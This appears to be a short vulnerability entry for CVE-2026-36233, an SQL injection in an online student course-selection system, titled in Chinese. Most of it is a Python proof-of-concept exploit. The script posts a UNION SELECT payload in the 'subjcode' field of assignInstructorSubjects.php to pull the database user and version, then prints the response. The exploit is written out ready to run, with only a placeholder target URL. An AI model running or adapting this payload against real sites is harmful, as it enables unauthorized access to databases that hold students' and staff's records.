CVE-2026-36233: 在线学生选课系统SQL注入漏洞

import requests # Target URL (Replace with actual target) target_url = "http://target.com/assignInstructorSubjects.php" # Payload to test SQL Injection (Extracting database version) # Assuming the parameter is passed via POST payload_data = { "subjcode": "' UNION SELECT 1, user(), version(), 4-- -" } try: # Send POST request with malicious payload response = requests.post(target_url, data=payload_data) # Check if the response contains database information if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response snippet:") print(response.text[:500]) # Print first 500 chars for analysis else: print("[-] Target might be down or blocking requests.") except Exception as e: print(f"[!] An error occurred: {e}")